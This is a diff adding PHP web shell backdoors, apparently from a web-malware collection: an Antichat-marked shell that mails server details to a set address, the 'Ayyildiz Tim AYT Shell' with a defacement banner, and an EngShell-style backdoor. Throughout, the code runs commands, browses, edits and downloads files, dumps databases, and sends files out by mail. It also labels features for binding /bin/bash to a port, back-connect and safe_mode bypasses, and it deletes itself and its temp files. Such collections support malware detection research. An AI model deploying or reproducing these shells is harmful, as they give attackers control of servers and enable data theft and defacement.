$_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98"); +if(@$_POST['action']=="exit")unset($_SESSION['an']); +if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1'; + +if($_SESSION['an']==0){ +echo $header; +echo '
        Login:
        Password:
        '; +echo $footer; +exit;} + +if($_SESSION['action']=="")$_SESSION['action']="viewer"; +if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action']; +if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir']; +if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";} + + +//downloader +if($action=="download"){ +header('Content-Length:'.filesize($file).''); +header('Content-Type: application/octet-stream'); +header('Content-Disposition: attachment; filename="'.$file.'"'); +readfile($file); +} +//end downloader +?> + + +
        + + + + + +
        | Shell | Viewer| Editor| EXIT |

        +
        + + + +
        + +
        + + + +
        +
        +";} +//end shell + +//viewer FS +function perms($file) +{ + $perms = fileperms($file); + if (($perms & 0xC000) == 0xC000) {$info = 's';} + elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} + elseif (($perms & 0x8000) == 0x8000) {$info = '-';} + elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} + elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} + elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} + elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} + else {$info = 'u';} + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); + return $info; +} + +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} + +function scandire($dir){ + $dir=chdir($dir); + $dir=getcwd()."/"; + $dir=str_replace("\\","/",$dir); +if (is_dir($dir)) { + if (@$dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if(filetype($dir . $file)=="dir") $dire[]=$file; + if(filetype($dir . $file)=="file")$files[]=$file; + } + closedir($dh); + @sort($dire); + @sort($files); + +echo ""; +echo ""; +if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { +echo ""; +} +echo " +"; +for($i=0;$i'; + } +for($i=0;$i + +'; +} +echo "
        Open directory:
        Select drive:"; +for ($j=ord('C'); $j<=ord('Z'); $j++) + if (@$dh = opendir(chr($j).":/")) + echo ' '.chr($j).''; + echo "
        OS: ".@php_uname()."
        name dirs and filestypesizepermissionoptions
        '.$dire[$i].'dir'.perms($link).'
        '.$files[$i].'
        file'.view_size(filesize($linkfile)).''.perms($linkfile).' +D +E
        "; +}}} + +if($action=="viewer"){ +scandire($dir); +} +//end viewer FS + +//editros +if($action=="editor"){ + function writef($file,$data){ + $fp = fopen($file,"w+"); + fwrite($fp,$data); + fclose($fp); + } + function readf($file){ + if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else { + $contents = fread($le, filesize($file)); + fclose($le);} + return htmlspecialchars($contents); + } +if($_POST['save'])writef($file,$_POST['data']); +echo "
        + + +
        +
        "; +} +//end editors +?> +
        COPYRIGHT BY ANTICHAT.RU
        + diff --git a/web-malware-collection-master/Backdoors/PHP/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt b/web-malware-collection-master/Backdoors/PHP/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt new file mode 100755 index 0000000..120f5df --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt @@ -0,0 +1,317 @@ + + + + + + +Ayyildiz Tim | AYT | Shell v 2.1 Biz Büyük Türk Milletinin Hizmetindeyiz... + + + + + + + + + + + + + + + + +HACKED BY AYYILDIZ � + + + + + + + + +
        + + + + + + +
        +

        + + + + + + +
        +
        +
        + +
        + + + + + + +Ayyildiz-Tim Shell <?php echo PHPSHELL_VERSION ?> + + + +
        + + + + +

        +
        +
        +
        +

        Bulundugunuz Dizin: + Root/'; + +if (!empty($work_dir_splitted[0])) { + $path = ''; + for ($i = 0; $i < count($work_dir_splitted); $i++) { + $path .= '/' . $work_dir_splitted[$i]; + printf('%s/', + $PHP_SELF, urlencode($path), $work_dir_splitted[$i]); + } +} + +?> +

        +

        Dizin Degistir : + +

        +

        Komut: + + +

        +

        Surekli Bagli Kal + +

        + +
        + +
        +
        +
        + +

        Copyright © 2006–2007, Powered byThehacker. v 2.1 - www.ayyildiz.org

        +

        Ayyildiz TIM | AYT | TUM HAKLARI SAKLIDIR.

        +

        +
        + + + + + + +
        +
        + + + + + + + +'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '## EngShell Dump'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
        [ BACK ]
        "; die(); } +if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo ''; + if(!$sql->connect()) echo "
        Can't connect to SQL server
        "; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "
        Can't select database
        "; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."
        "; + switch($sql->query($query)) + { + case '0': + echo "
        Error : ".$sql->error."
        "; + break; + case '1': + if($sql->get_result()) + { + echo ""; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode(" "; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode(" '; + } + echo "
         ", $sql->columns); + echo "
         ".$keys." 
         ",$sql->rows[$i]); + echo '
         '.$values.' 
        "; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "
        affected rows : ".$ar."

        "; + break; + } + } + } + } + } + echo "
        "; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "
        "; + echo "Base: base."\">
        "; + echo "


        "; + echo "
        "; + echo "
        [ MBALIK ]
        "; die(); + } +if(isset($_GET['delete'])) + { + @unlink(__FILE__); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return 'no value'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '', true); + return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '', ''; + foreach (@ini_get_all() as $key=>$value) + { + $r .= ''; + } + echo $r; + echo '
        Directive
        Local Value
        Master Value
        '.ws(3).''.$key.'
        '.U_value($value['local_value']).'
        '.U_value($value['global_value']).'
        '; + } +echo "
        [ BACK ]
        "; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '
        CPU
        '; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= ''; + } + echo $r; + } + else + { + echo ''; + } + echo '
        '.ws(3).''.trim($info[0]).'
        '.trim($info[1]).'
        '.ws(3).'
        ---
        '; + echo "
        [ BACK ]
        "; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '
        MEMORY
        '; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= ''; + } + echo $r; + } + else + { + echo ''; + } + echo '
        '.ws(3).''.trim($info[0]).'
        '.trim($info[1]).'
        '.ws(3).'
        ---
        '; + echo "
        [ BACK ]
        "; + die(); + } +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'???? . ???????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_butt14'=>'???????', +'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'FTP-??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????????', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_butt15'=>'?????????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +'ru_text111'=>'SQL-?????? : ????', +'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail', +'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list', +'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body', +'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()', +'ru_text116'=>'?????????? ????', +'ru_text117'=>'?', +'ru_text118'=>'???? ??????????', +'ru_text119'=>'?? ??????? ??????????? ????', +'ru_err0'=>'??????! ?? ???? ???????? ? ???? ', +'ru_err1'=>'??????! ?? ???? ????????? ???? ', +'ru_err2'=>'??????! ?? ??????? ??????? ', +'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????', +'ru_err4'=>'?????? ??????????? ?? ftp ???????', +'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????', +'ru_err6'=>'??????! ?? ??????? ????????? ??????', +'ru_err7'=>'?????? ??????????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'EngShell command', +'eng_text2' =>'EngShell command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'EngShell', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>' New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', 